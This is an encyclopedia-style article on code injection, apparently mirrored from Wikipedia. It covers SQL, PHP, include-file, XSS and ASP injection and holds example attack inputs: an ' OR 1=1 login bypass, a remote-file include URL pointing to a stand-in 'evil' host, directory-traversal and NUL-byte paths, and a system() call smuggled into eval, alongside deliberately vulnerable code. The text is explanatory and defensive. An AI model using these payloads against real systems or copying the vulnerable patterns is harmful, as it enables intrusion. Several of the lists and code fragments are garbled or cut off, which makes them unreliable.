Code injection is a technique to introduce (or "inject") code into a computer program or system by taking advantage of the unenforced and unchecked assumptions the system makes about its inputs.
A simple Code injection example: a web server has a "Guest book" script, which accepts small messages from users, and typically receives messages such as
Most of these problems are related to erroneous assumptions of what input data is possible, or the effects of special data. Classic examples of dangerous assumptions a software developer might make about the input to an program includes:
The purpose of the injected code is typically to bypass or modify the originally intended functionality of the program. When the functionality bypassed is system security, the results can be disastrous.
(*) Many file formats begin by declaring how much data they hold, along with some other values, up front. Understating the amount of data in this declaration can lead to a buffer overrun in carelessly developed software. For example, a carelessly built web browser. This often exposes a code injection vulnerability. This is the premise behind many security vulnerabilities involving files, especially image and media files.
Code injection can be used malevolently to:
Typically, users resort to this sort of work-around for one of these reasons:
This use of code injection is heavily frowned upon by the development community as a whole, and is typically called a kludge or hack.
Some software products allow or even promote the use of code injection to "enhance" their products. Usually this is because the code injection solution is less expensive to implement than new or specialized product features. The side effects and unaccounted implications of this can be very dangerous.
In general, the well-intentioned use of code injection is discouraged.
To prevent Code Injection problems, utilize Secure input and output handling, such as:
SQL Injection takes advantage of the syntax of SQL to inject commands that can read or modify a database, or compromise the meaning of the original query.
For example, consider a web page has two fields to allow users to enter a Username and a Password. The code behind the page will generate a SQL query to check the Password against the list of Usernames: SELECT UserList.Username FROM UserList WHERE UserList.Username = 'Username' AND UserList.Password = 'Password'
If this query returns exactly one row, then access is granted. However, if the malicious user enters a valid Username and injects some valid code ("' OR 1=1") in the Password field, then the resulting query will look like this: SELECT UserList.Username FROM UserList WHERE UserList.Username = 'Username' AND UserList.Password = 'Password' OR '1'='1'
In the example above, "Password" is assumed to be blank or some innocuous string. "1=1" will always be true and many rows will be returned, thereby allowing access. The final inverted comma will be ignored by the SQL parser. The technique may be refined to allow multiple statements to run, or even to load up and run external programs.
"PHP Injection," "ASP Injection," et cetera are terms coined which refer to various types of code injection attacks which allow an attacker to supply code to the server side scripting engine. In the case of "PHP Injection," the server side scripting engine is PHP.
In practice, PHP Injection is either the exploitation of "Dynamic Evaluation Vulnerabilities," "Include File Injection," or similar code injection vulnerabilities.
Steven M. Christey of mitre.org suggests this name for a class of code injection vulnerabilities.
As defined in "Dynamic Evaluation Vulnerabilities in PHP applications":
Example:
What happens if arg is set to "10 ; system(\"/bin/echo uh-oh\");" ?$myvar = "varname"; $x = $_GET*; eval("\$myvar = \$x;");
As defined in "Dynamic Evaluation Vulnerabilities in PHP applications": PHP supports "variable variables," which are variables or expressions that evaluate to the names of other variables *. They can be used to dynamically change which variable is accessed or set during execution of the program. This powerful and convenient feature is also dangerous.
A number of applications have code such as the following:
If the attacker provides "safevar=bad" in the query string, then $safevar will be set to the value "bad".$safevar = "0"; $param1 = ""; $param2 = ""; $param3 = ""; # my own "register globals" for param* foreach ($_GET as $key => $value) { $$key = $value; }
The following PHP-examples will execute a function specified by request.
and:$myfunc = $_GET*; $myfunc();
$myfunc = $_GET*; ${"myfunc"}();
Consider this PHP program (which includes a file specified by request):
'COLOR' ) ) $color = $_GET'COLOR' ; require( $color . '.php' ); ?>
The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:
/vulnerable.php?COLOR=http://evil/exploit - injects a remotely hosted file containing an exploit.
/vulnerable.php?COLOR=C:\ftp\upload\exploit - injects an uploaded file containing an exploit.
/vulnerable.php?COLOR=..\..\..\..\ftp\upload\exploit - injects an uploaded file containing an exploit, using directory traversal.
/vulnerable.php?COLOR=C:\notes.txt%00 - example using NUL meta character to remove the .php suffix, allowing access to other files than .php. (PHP setting "magic_quotes_gpc = On", which is default, would stop this attack)
Consider the following short PHP program, which runs an external program called funnytext to replace a word the user sent with some other word)
'USER_INPUT' ); ?>
This program can be injected in multiple ways:
PHP offers escapeshellarg() and escapeshellcmd() to perform encoding before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.
HTML/Script Injection is a popular subject, commonly termed "Cross Site Scripting", or "XSS". XSS refers to an injection flaw whereby user input to a web script or something along such lines is placed into the outputted HTML, without being checked for HTML code or scripting.
The two basic types are as follows:
Active (Type 1) This type of XSS flaw is less dangerous, as the user input is placed into a dynamically generated page. No changes are made on the server.
Passive (Type 2) This type is more dangerous, as the input is written to a static page, and as such, is persistent.
For more information, refer to the Cross Site Scripting (XSS) article.
In practice, ASP Injection is either the exploitation of Dynamic Evaluation Vulnerabilities, Include File Injection or similar code injection vulnerabilities.
Example:
<% If not isEmpty(Request( "username" ) ) Then Const ForReading = 1, ForWriting = 2, ForAppending = 8 Dim fso, f Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ), ForAppending, True) f.Write Request("username") & vbCrLf f.close Set f = nothing Set fso = Nothing %> List of logged users:
<pre> <% Server.Execute( "userlog.txt" ) %> </pre> <% Else %> <% End If %>
In this example, the user is able to insert a command instead of a username.
Malware | Security exploitsBold text Machine code
This article is licensed under the GNU Free Documentation License.
It uses material from the
"Code injection".
Home Page • arts • business • computers • games • health • hospitals • home • kids & teens • news • physicians • recreation• reference • regional • science • shopping • society • sports • world